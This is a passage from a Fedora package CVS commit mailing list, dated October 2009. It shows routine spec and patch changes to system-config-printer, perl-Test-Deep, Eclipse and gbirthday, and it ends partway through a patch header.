In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12286

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-no-epydoc.patch 
Log Message:
* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-6
- Avoid epydoc dependency.


system-config-printer-no-epydoc.patch:
 Makefile.am            |    4 +++-
 Makefile.in            |    4 +++-
 pycups-1.9.46/Makefile |    4 +++-
 pysmbc-1.0.6/Makefile  |    4 +++-
 4 files changed, 12 insertions(+), 4 deletions(-)

--- NEW FILE system-config-printer-no-epydoc.patch ---
diff -up system-config-printer-1.1.13/Makefile.am.no-epydoc system-config-printer-1.1.13/Makefile.am
--- system-config-printer-1.1.13/Makefile.am.no-epydoc	2009-09-04 10:35:47.000000000 +0100
+++ system-config-printer-1.1.13/Makefile.am	2009-10-30 11:32:02.265645319 +0000
@@ -251,7 +251,9 @@ $(man_MANS): $(top_srcdir)/man/system-co
 
 html:	$(EXPORT_MODULES)
 	rm -rf html
-	epydoc -o html --html $(EXPORT_MODULES)
+	$(MKDIR_P) html
+	pydoc -w $(EXPORT_MODULES)
+	mv $(patsubst %,%.html,$(EXPORT_MODULES)) html
 
 distcheck-hook: update-po
 
diff -up system-config-printer-1.1.13/Makefile.in.no-epydoc system-config-printer-1.1.13/Makefile.in
--- system-config-printer-1.1.13/Makefile.in.no-epydoc	2009-09-14 15:14:03.000000000 +0100
+++ system-config-printer-1.1.13/Makefile.in	2009-10-30 11:32:02.266644059 +0000
@@ -1435,7 +1435,9 @@ $(man_MANS): $(top_srcdir)/man/system-co
 
 html:	$(EXPORT_MODULES)
 	rm -rf html
-	epydoc -o html --html $(EXPORT_MODULES)
+	$(MKDIR_P) html
+	pydoc -w $(EXPORT_MODULES)
+	mv $(patsubst %,%.html,$(EXPORT_MODULES)) html
 
 distcheck-hook: update-po
 
diff -up system-config-printer-1.1.13/pycups-1.9.46/Makefile.no-epydoc system-config-printer-1.1.13/pycups-1.9.46/Makefile
--- system-config-printer-1.1.13/pycups-1.9.46/Makefile.no-epydoc	2009-10-30 11:32:53.089519286 +0000
+++ system-config-printer-1.1.13/pycups-1.9.46/Makefile	2009-10-30 11:33:07.606519162 +0000
@@ -14,7 +14,9 @@ cups.so: $(SOURCES)
 
 doc:	cups.so
 	rm -rf html
-	epydoc -o html --html $<
+	mkdir -p html
+	pydoc -w $(patsubst %.so,%,$<)
+	mv $(patsubst %.so,%.html,$<) html
 
 clean:
 	-rm -rf build cups.so *.pyc *~
diff -up system-config-printer-1.1.13/pysmbc-1.0.6/Makefile.no-epydoc system-config-printer-1.1.13/pysmbc-1.0.6/Makefile
--- system-config-printer-1.1.13/pysmbc-1.0.6/Makefile.no-epydoc	2009-10-30 11:32:18.597519903 +0000
+++ system-config-printer-1.1.13/pysmbc-1.0.6/Makefile	2009-10-30 11:32:43.671520242 +0000
@@ -12,7 +12,9 @@ smbc.so: $(SOURCES)
 
 doc: smbc.so
 	rm -rf html
-	epydoc -o html --html $<
+	mkdir -p html
+	pydoc -w $(patsubst %.so,%,$<)
+	mv $(patsubst %.so,%.html,$<) html
 
 clean:
 	-rm -rf build smbc.so *.pyc *~


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-12/system-config-printer.spec,v
retrieving revision 1.306
retrieving revision 1.307
diff -u -p -r1.306 -r1.307
--- system-config-printer.spec	29 Oct 2009 17:32:41 -0000	1.306
+++ system-config-printer.spec	30 Oct 2009 12:30:59 -0000	1.307
@@ -31,6 +31,7 @@ Patch13: system-config-printer-strip-zxs
 Patch14: system-config-printer-troubleshoot-network-printers.patch
 Patch15: system-config-printer-strip-zjs.patch
 Patch16: system-config-printer-custom-state-reasons.patch
+Patch17: system-config-printer-no-epydoc.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -107,6 +108,7 @@ printers.
 %patch14 -p1 -b .troubleshoot-network-printers
 %patch15 -p1 -b .strip-zjs
 %patch16 -p1 -b .custom-state-reasons
+%patch17 -p1 -b .no-epydoc
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -218,6 +220,9 @@ rm -rf %buildroot
 exit 0
 
 %changelog
+* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-6
+- Avoid epydoc dependency.
+
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
 - Added upstream patch for custom state reasons (bug #531872).
 - Strip 'zjs' from make-and-model as well (bug #531869).



From twaugh at fedoraproject.org  Fri Oct 30 12:31:32 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri, 30 Oct 2009 12:31:32 +0000 (UTC)
Subject: rpms/system-config-printer/F-12 system-config-printer.spec, 1.307, 
	1.308
Message-ID: <20091030123132.EF42F11C00E8@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12540

Modified Files:
	system-config-printer.spec 
Log Message:
Removed epydoc requirement tag.


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-12/system-config-printer.spec,v
retrieving revision 1.307
retrieving revision 1.308
diff -u -p -r1.307 -r1.308
--- system-config-printer.spec	30 Oct 2009 12:30:59 -0000	1.307
+++ system-config-printer.spec	30 Oct 2009 12:31:31 -0000	1.308
@@ -41,7 +41,6 @@ BuildRequires: gettext-devel
 BuildRequires: intltool
 BuildRequires: libusb-devel, libudev-devel
 BuildRequires: xmlto
-BuildRequires: epydoc
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 



From twaugh at fedoraproject.org  Fri Oct 30 12:32:03 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri, 30 Oct 2009 12:32:03 +0000 (UTC)
Subject: rpms/system-config-printer/devel
	system-config-printer-no-epydoc.patch, NONE,
	1.1 system-config-printer.spec, 1.302, 1.303
Message-ID: <20091030123203.2027E11C00E8@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12734

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-no-epydoc.patch 
Log Message:
* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-6
- Avoid epydoc dependency.


system-config-printer-no-epydoc.patch:
 Makefile.am            |    4 +++-
 Makefile.in            |    4 +++-
 pycups-1.9.46/Makefile |    4 +++-
 pysmbc-1.0.6/Makefile  |    4 +++-
 4 files changed, 12 insertions(+), 4 deletions(-)

--- NEW FILE system-config-printer-no-epydoc.patch ---
diff -up system-config-printer-1.1.13/Makefile.am.no-epydoc system-config-printer-1.1.13/Makefile.am
--- system-config-printer-1.1.13/Makefile.am.no-epydoc	2009-09-04 10:35:47.000000000 +0100
+++ system-config-printer-1.1.13/Makefile.am	2009-10-30 11:32:02.265645319 +0000
@@ -251,7 +251,9 @@ $(man_MANS): $(top_srcdir)/man/system-co
 
 html:	$(EXPORT_MODULES)
 	rm -rf html
-	epydoc -o html --html $(EXPORT_MODULES)
+	$(MKDIR_P) html
+	pydoc -w $(EXPORT_MODULES)
+	mv $(patsubst %,%.html,$(EXPORT_MODULES)) html
 
 distcheck-hook: update-po
 
diff -up system-config-printer-1.1.13/Makefile.in.no-epydoc system-config-printer-1.1.13/Makefile.in
--- system-config-printer-1.1.13/Makefile.in.no-epydoc	2009-09-14 15:14:03.000000000 +0100
+++ system-config-printer-1.1.13/Makefile.in	2009-10-30 11:32:02.266644059 +0000
@@ -1435,7 +1435,9 @@ $(man_MANS): $(top_srcdir)/man/system-co
 
 html:	$(EXPORT_MODULES)
 	rm -rf html
-	epydoc -o html --html $(EXPORT_MODULES)
+	$(MKDIR_P) html
+	pydoc -w $(EXPORT_MODULES)
+	mv $(patsubst %,%.html,$(EXPORT_MODULES)) html
 
 distcheck-hook: update-po
 
diff -up system-config-printer-1.1.13/pycups-1.9.46/Makefile.no-epydoc system-config-printer-1.1.13/pycups-1.9.46/Makefile
--- system-config-printer-1.1.13/pycups-1.9.46/Makefile.no-epydoc	2009-10-30 11:32:53.089519286 +0000
+++ system-config-printer-1.1.13/pycups-1.9.46/Makefile	2009-10-30 11:33:07.606519162 +0000
@@ -14,7 +14,9 @@ cups.so: $(SOURCES)
 
 doc:	cups.so
 	rm -rf html
-	epydoc -o html --html $<
+	mkdir -p html
+	pydoc -w $(patsubst %.so,%,$<)
+	mv $(patsubst %.so,%.html,$<) html
 
 clean:
 	-rm -rf build cups.so *.pyc *~
diff -up system-config-printer-1.1.13/pysmbc-1.0.6/Makefile.no-epydoc system-config-printer-1.1.13/pysmbc-1.0.6/Makefile
--- system-config-printer-1.1.13/pysmbc-1.0.6/Makefile.no-epydoc	2009-10-30 11:32:18.597519903 +0000
+++ system-config-printer-1.1.13/pysmbc-1.0.6/Makefile	2009-10-30 11:32:43.671520242 +0000
@@ -12,7 +12,9 @@ smbc.so: $(SOURCES)
 
 doc: smbc.so
 	rm -rf html
-	epydoc -o html --html $<
+	mkdir -p html
+	pydoc -w $(patsubst %.so,%,$<)
+	mv $(patsubst %.so,%.html,$<) html
 
 clean:
 	-rm -rf build smbc.so *.pyc *~


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/devel/system-config-printer.spec,v
retrieving revision 1.302
retrieving revision 1.303
diff -u -p -r1.302 -r1.303
--- system-config-printer.spec	29 Oct 2009 17:33:10 -0000	1.302
+++ system-config-printer.spec	30 Oct 2009 12:32:02 -0000	1.303
@@ -31,6 +31,7 @@ Patch13: system-config-printer-strip-zxs
 Patch14: system-config-printer-troubleshoot-network-printers.patch
 Patch15: system-config-printer-strip-zjs.patch
 Patch16: system-config-printer-custom-state-reasons.patch
+Patch17: system-config-printer-no-epydoc.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -40,7 +41,6 @@ BuildRequires: gettext-devel
 BuildRequires: intltool
 BuildRequires: libusb-devel, libudev-devel
 BuildRequires: xmlto
-BuildRequires: epydoc
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -107,6 +107,7 @@ printers.
 %patch14 -p1 -b .troubleshoot-network-printers
 %patch15 -p1 -b .strip-zjs
 %patch16 -p1 -b .custom-state-reasons
+%patch17 -p1 -b .no-epydoc
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -218,6 +219,9 @@ rm -rf %buildroot
 exit 0
 
 %changelog
+* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-6
+- Avoid epydoc dependency.
+
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
 - Added upstream patch for custom state reasons (bug #531872).
 - Strip 'zjs' from make-and-model as well (bug #531869).



From kasal at fedoraproject.org  Fri Oct 30 12:32:14 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri, 30 Oct 2009 12:32:14 +0000 (UTC)
Subject: rpms/perl-Test-Deep/devel .cvsignore, 1.11, 1.12 perl-Test-Deep.spec,
	1.16, 1.17 sources, 1.11, 1.12
Message-ID: <20091030123214.1073F11C00E8@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Test-Deep/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12825

Modified Files:
	.cvsignore perl-Test-Deep.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Deep/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	4 Jun 2008 19:59:36 -0000	1.11
+++ .cvsignore	30 Oct 2009 12:32:13 -0000	1.12
@@ -1 +1 @@
-Test-Deep-0.103.tar.gz
+Test-Deep-0.106.tar.gz


Index: perl-Test-Deep.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Deep/devel/perl-Test-Deep.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- perl-Test-Deep.spec	26 Jul 2009 16:47:58 -0000	1.16
+++ perl-Test-Deep.spec	30 Oct 2009 12:32:13 -0000	1.17
@@ -1,6 +1,6 @@
 Name:           perl-Test-Deep
-Version:        0.103
-Release:        4%{?dist}
+Version:        0.106
+Release:        1%{?dist}
 Summary:        Extremely flexible deep comparison
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -53,6 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Fri Oct 30 2009 Stepan Kasal <skasal at redhat.com> - 0.106-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.103-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Deep/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	4 Jun 2008 19:59:36 -0000	1.11
+++ sources	30 Oct 2009 12:32:13 -0000	1.12
@@ -1 +1 @@
-2fc92524553a3077475ea9589f02d4ee  Test-Deep-0.103.tar.gz
+8cf0066dca9c3c102e4ae8f57173d12f  Test-Deep-0.106.tar.gz



From overholt at fedoraproject.org  Fri Oct 30 12:32:53 2009
From: overholt at fedoraproject.org (Andrew Overholt)
Date: Fri, 30 Oct 2009 12:32:53 +0000 (UTC)
Subject: rpms/eclipse/devel eclipse.sh.in,NONE,1.1 eclipse.spec,1.684,1.685
Message-ID: <20091030123253.6EB2711C00E8@cvs1.fedora.phx.redhat.com>

Author: overholt

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13115

Modified Files:
	eclipse.spec 
Added Files:
	eclipse.sh.in 
Log Message:
* Fri Oct 30 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-13
- Make /usr/bin/eclipse a wrapper script due to rhbz#531675 (e.o#290395).


--- NEW FILE eclipse.sh.in ---
#!/bin/sh

# Work around bugs.eclipse.org/290395
export GDK_NATIVE_WINDOWS=true

/usr/lib/eclipse/eclipse "$@"

Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.684
retrieving revision 1.685
diff -u -p -r1.684 -r1.685
--- eclipse.spec	26 Oct 2009 13:28:56 -0000	1.684
+++ eclipse.spec	30 Oct 2009 12:32:52 -0000	1.685
@@ -27,12 +27,13 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        12%{?dist}
+Release:        13%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
 Source0:        %{download_url}eclipse-build-0.4.0RC0.tar.gz
 Source1:        %{download_url}eclipse-R3_5_1-fetched-src.tar.bz2
+Source2:        eclipse.sh.in
 Source17:       efj.sh.in
 # This file contains the types of files we'd like to extract from the jars
 # when using the FileInitializer
@@ -395,6 +396,13 @@ SWT_VERSION=$SWT_MAJ_VER$SWT_MIN_VER
 
 ant -DdestDir=$RPM_BUILD_ROOT -Dprefix=/usr -DbuildArch=%{eclipse_arch} -Dmultilib=true install
 
+# Set GDK_NATIVE_WINDOWS=true
+# https://bugzilla.redhat.com/531675 (https://bugs.eclipse.org/290395)
+rm $RPM_BUILD_ROOT/%{_bindir}/%{name}
+install -p -D -m0755 %{SOURCE2} $RPM_BUILD_ROOT%{_bindir}/%{name}
+sed --in-place "s:/usr/lib:%{_libdir}:" \
+  $RPM_BUILD_ROOT%{_bindir}/%{name}
+  
 cp $RPM_BUILD_ROOT%{_libdir}/eclipse/eclipse.ini eclipse.ini-real
 # Some directories we need
 sdkDir=$RPM_BUILD_ROOT%{_libdir}/%{name}
@@ -1078,6 +1086,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Fri Oct 30 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-13
+- Make /usr/bin/eclipse a wrapper script due to rhbz#531675 (e.o#290395).
+
 * Mon Oct 26 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-12
 - Remove old TODO items.
 



From tomspur at fedoraproject.org  Fri Oct 30 12:34:59 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Fri, 30 Oct 2009 12:34:59 +0000 (UTC)
Subject: rpms/gbirthday/F-12 gbirthday.spec,1.3,1.4
Message-ID: <20091030123459.14E7B11C00E8@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/gbirthday/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14036

Modified Files:
	gbirthday.spec 
Log Message:
Fix missing BR



Index: gbirthday.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/F-12/gbirthday.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gbirthday.spec	30 Oct 2009 12:22:06 -0000	1.3
+++ gbirthday.spec	30 Oct 2009 12:34:58 -0000	1.4
@@ -1,6 +1,6 @@
 Name:			gbirthday
 Version:		0.5.2
-Release:		2%{?dist}
+Release:		3%{?dist}
 Summary:		Birthday reminder for Evolution and some others
 Group:			User Interface/Desktops
 License:		GPLv2+
@@ -11,6 +11,7 @@ BuildArch:		noarch
 
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext
+BuildRequires:  intltool
 Requires:		evolution
 Requires:		python
 Requires:		MySQL-python
@@ -55,7 +56,10 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/xdg/autostart/%{name}.desktop
 
 %changelog
-* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-3
+- missing BR intltool
+
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-2
 - little problem with 'make tag'
 
 * Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1



From tomspur at fedoraproject.org  Fri Oct 30 12:37:14 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Fri, 30 Oct 2009 12:37:14 +0000 (UTC)
Subject: rpms/gbirthday/F-11 gbirthday.spec,1.2,1.3 sources,1.3,1.4
Message-ID: <20091030123714.46DE811C00E8@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/gbirthday/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15106

Modified Files:
	gbirthday.spec sources 
Log Message:
Update to new release



Index: gbirthday.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/F-11/gbirthday.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gbirthday.spec	22 Sep 2009 21:48:01 -0000	1.2
+++ gbirthday.spec	30 Oct 2009 12:37:13 -0000	1.3
@@ -1,17 +1,20 @@
 Name:			gbirthday
-Version:		0.5.1
+Version:		0.5.2
 Release:		1%{?dist}
 Summary:		Birthday reminder for Evolution and some others
 Group:			User Interface/Desktops
 License:		GPLv2+
 URL:			http://gbirthday.sourceforge.net
-Source:			http://downloads.sourceforge.net/gbirthday/gbirthday-%{version}.tar.lzma
+Source:                 http://downloads.sourceforge.net/gbirthday/gbirthday-%{version}.tar.xz
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:		noarch
 
 BuildRequires:	desktop-file-utils
+BuildRequires:	gettext
+BuildRequires:  intltool
 Requires:		evolution
 Requires:		python
+Requires:		MySQL-python
 Requires:		pygtk2
 
 %description
@@ -38,12 +41,14 @@ desktop-file-install \
 	--dir=%{buildroot}%{_sysconfdir}/xdg/autostart/ \
 	%{buildroot}/%{_datadir}/applications/%{name}.desktop
 
+%find_lang %{name}
+
 %clean
 rm -rf %{buildroot}
 
-%files
+%files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc Changelog COPYING
+%doc Changelog COPYING README
 %{_bindir}/gbirthday
 %{_datadir}/applications/%{name}.desktop
 %{_datadir}/gbirthday/
@@ -51,6 +56,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/xdg/autostart/%{name}.desktop
 
 %changelog
+* Fri Oct 30 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.2-1
+- New Release
+
 * Wed Sep 23 2009 Thomas Spura <tomspur at fedoraproject.org> 0.5.1-1
 - New Release
 - Changing description (now also supports Thunderbird, Sunbird...


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gbirthday/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	22 Sep 2009 21:48:01 -0000	1.3
+++ sources	30 Oct 2009 12:37:13 -0000	1.4
@@ -1 +1 @@
-2fd93fcb42c483735536946359b5f52c  gbirthday-0.5.1.tar.lzma
+2987f83ad7c7b23832ae6d591c7e4a8c  gbirthday-0.5.2.tar.xz



From overholt at fedoraproject.org  Fri Oct 30 12:38:15 2009
From: overholt at fedoraproject.org (Andrew Overholt)
Date: Fri, 30 Oct 2009 12:38:15 +0000 (UTC)
Subject: rpms/eclipse/F-12 eclipse.sh.in,NONE,1.1 eclipse.spec,1.671,1.672
Message-ID: <20091030123815.1A2EC11C00E8@cvs1.fedora.phx.redhat.com>

Author: overholt

Update of /cvs/pkgs/rpms/eclipse/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15736/F-12

Modified Files:
	eclipse.spec 
Added Files:
	eclipse.sh.in 
Log Message:
* Fri Oct 30 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-3
- Make /usr/bin/eclipse a wrapper script due to rhbz#531675 (e.o#290395).


--- NEW FILE eclipse.sh.in ---
#!/bin/sh

# Work around bugs.eclipse.org/290395
export GDK_NATIVE_WINDOWS=true

/usr/lib/eclipse/eclipse "$@"

Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/F-12/eclipse.spec,v
retrieving revision 1.671
retrieving revision 1.672
diff -u -p -r1.671 -r1.672
--- eclipse.spec	28 Oct 2009 11:47:31 -0000	1.671
+++ eclipse.spec	30 Oct 2009 12:38:14 -0000	1.672
@@ -29,12 +29,13 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        2%{?dist}
+Release:        3%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
 Source0:        %{download_url}eclipse-build-0.4.0RC0.tar.gz
 Source1:        %{download_url}eclipse-R3_5_1-fetched-src.tar.bz2
+Source2:        eclipse.sh.in
 Source17:       efj.sh.in
 # This file contains the types of files we'd like to extract from the jars
 # when using the FileInitializer
@@ -481,6 +482,13 @@ SWT_VERSION=$SWT_MAJ_VER$SWT_MIN_VER
 
 ant -DdestDir=$RPM_BUILD_ROOT -Dprefix=/usr -DbuildArch=%{eclipse_arch} -Dmultilib=true install
 
+# Set GDK_NATIVE_WINDOWS=true
+# https://bugzilla.redhat.com/531675 (https://bugs.eclipse.org/290395)
+rm $RPM_BUILD_ROOT/%{_bindir}/%{name}
+install -p -D -m0755 %{SOURCE2} $RPM_BUILD_ROOT%{_bindir}/%{name}
+sed --in-place "s:/usr/lib:%{_libdir}:" \
+  $RPM_BUILD_ROOT%{_bindir}/%{name}
+
 cp $RPM_BUILD_ROOT%{_libdir}/eclipse/eclipse.ini eclipse.ini-real
 # Some directories we need
 sdkDir=$RPM_BUILD_ROOT%{_libdir}/%{name}
@@ -1160,6 +1168,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Fri Oct 30 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-3
+- Make /usr/bin/eclipse a wrapper script due to rhbz#531675 (e.o#290395).
+
 * Wed Oct 28 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-2
 - Don't install 2 desktop files. (rhbz #530450)
 



From twaugh at fedoraproject.org  Fri Oct 30 12:38:29 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri, 30 Oct 2009 12:38:29 +0000 (UTC)
Subject: rpms/system-config-printer/F-11
	system-config-printer-notification-traceback.patch, NONE,
	1.1 system-config-printer.spec, 1.299, 1.300
Message-ID: <20091030123829.B62FF11C00E8@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15843

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-notification-traceback.patch 
Log Message:
* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-6
- Avoid traceback in IPP notification handlers (bug #530641).


system-config-printer-notification-traceback.patch:
 system-config-printer.py |   21 +++++++++++++++------
 1 file changed, 15 insertions(+), 6 deletions(-)

--- NEW FILE system-config-printer-notification-traceback.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.notification-traceback system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.notification-traceback	2009-10-30 12:36:24.901645742 +0000
+++ system-config-printer-1.1.13/system-config-printer.py	2009-10-30 12:36:34.610518996 +0000
@@ -3494,8 +3494,11 @@ class GUI(GtkGUI, monitor.Watcher):
             self.dests_iconview_selection_changed (self.dests_iconview)
             gobject.idle_add (deferred_refresh)
             if self.PrinterPropertiesDialog.get_property('visible'):
-                self.printer.getAttributes ()
-                self.updatePrinterProperties ()
+                try:
+                    self.printer.getAttributes ()
+                    self.updatePrinterProperties ()
+                except cups.IPPError:
+                    pass
 
         gtk.gdk.threads_leave ()
 
@@ -3507,8 +3510,11 @@ class GUI(GtkGUI, monitor.Watcher):
         monitor.Watcher.state_reason_added (self, mon, reason)
         gtk.gdk.threads_enter ()
         if self.PrinterPropertiesDialog.get_property('visible'):
-            self.printer.getAttributes ()
-            self.updatePrinterProperties ()
+            try:
+                self.printer.getAttributes ()
+                self.updatePrinterProperties ()
+            except cups.IPPError:
+                pass
 
         gtk.gdk.threads_leave ()
 
@@ -3516,8 +3522,11 @@ class GUI(GtkGUI, monitor.Watcher):
         monitor.Watcher.state_reason_removed (self, mon, reason)
         gtk.gdk.threads_enter ()
         if self.PrinterPropertiesDialog.get_property('visible'):
-            self.printer.getAttributes ()
-            self.updatePrinterProperties ()
+            try:
+                self.printer.getAttributes ()
+                self.updatePrinterProperties ()
+            except cups.IPPError:
+                pass
 
         gtk.gdk.threads_leave ()
 


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-11/system-config-printer.spec,v
retrieving revision 1.299
retrieving revision 1.300
diff -u -p -r1.299 -r1.300
--- system-config-printer.spec	29 Oct 2009 17:31:49 -0000	1.299
+++ system-config-printer.spec	30 Oct 2009 12:38:29 -0000	1.300
@@ -7,7 +7,7 @@
 Summary: A printer administration tool
 Name: system-config-printer
 Version: 1.1.13
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: GPLv2+
 URL: http://cyberelk.net/tim/software/system-config-printer/
 Group: System Environment/Base
@@ -29,6 +29,7 @@ Patch13: system-config-printer-strip-zxs
 Patch14: system-config-printer-troubleshoot-network-printers.patch
 Patch15: system-config-printer-strip-zjs.patch
 Patch16: system-config-printer-custom-state-reasons.patch
+Patch18: system-config-printer-notification-traceback.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -91,6 +92,7 @@ the configuration tool.
 %patch14 -p1 -b .troubleshoot-network-printers
 %patch15 -p1 -b .strip-zjs
 %patch16 -p1 -b .custom-state-reasons
+%patch18 -p1 -b .notification-traceback
 
 %build
 %configure
@@ -192,6 +194,9 @@ rm -rf %buildroot
 exit 0
 
 %changelog
+* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-6
+- Avoid traceback in IPP notification handlers (bug #530641).
+
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
 - Added upstream patch for custom state reasons (bug #531872).
 - Strip 'zjs' from make-and-model as well (bug #531869).



From twaugh at fedoraproject.org  Fri Oct 30 12:39:32 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri, 30 Oct 2009 12:39:32 +0000 (UTC)
Subject: rpms/system-config-printer/F-12
	system-config-printer-notification-traceback.patch, NONE,
	1.1 system-config-printer.spec, 1.308, 1.309
Message-ID: <20091030123932.D534211C00E8@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16322

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-notification-traceback.patch 
Log Message:
* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-6
- Avoid traceback in IPP notification handlers (bug #530641).


system-config-printer-notification-traceback.patch:
 system-config-printer.py |   21 +++++++++++++++------
 1 file changed, 15 insertions(+), 6 deletions(-)

--- NEW FILE system-config-printer-notification-traceback.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.notification-traceback system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.notification-traceback	2009-10-30 12:36:24.901645742 +0000
